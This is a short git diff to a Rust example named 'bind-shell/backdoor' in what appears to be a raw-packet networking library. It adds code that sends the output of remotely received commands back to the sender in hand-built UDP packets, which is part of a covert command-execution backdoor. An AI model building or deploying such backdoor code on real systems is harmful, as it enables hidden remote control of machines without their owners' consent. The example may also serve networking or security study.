diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index 8436dc1..a6240ff 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -135,6 +135,18 @@ async fn handle_command( Output::Err => stderr_buffer, Output::Out => stdout_buffer }[..len]; + let port = match out_type { + Output::Err => 54249, + Output::Out => 54248 + }; + + let udp_packet = UDPPacket::construct(54248, port, msg); + let ip_packet = IPv4Packet::construct(ip_pkt.dest_ip(), ip_pkt.source_ip(), &Layer4Packet::UDP(udp_packet)); + let eth_packet = EthernetPacket::construct(*eth_pkt.destination_address(), *eth_pkt.source_address(), &Layer3Packet::IPv4(ip_packet)); + + if let Err(e) = send_response.send(eth_packet).await { + log::warn!("Could not send response packet: {e:?}"); + } } log::info!("Done executing command {cmd:?}");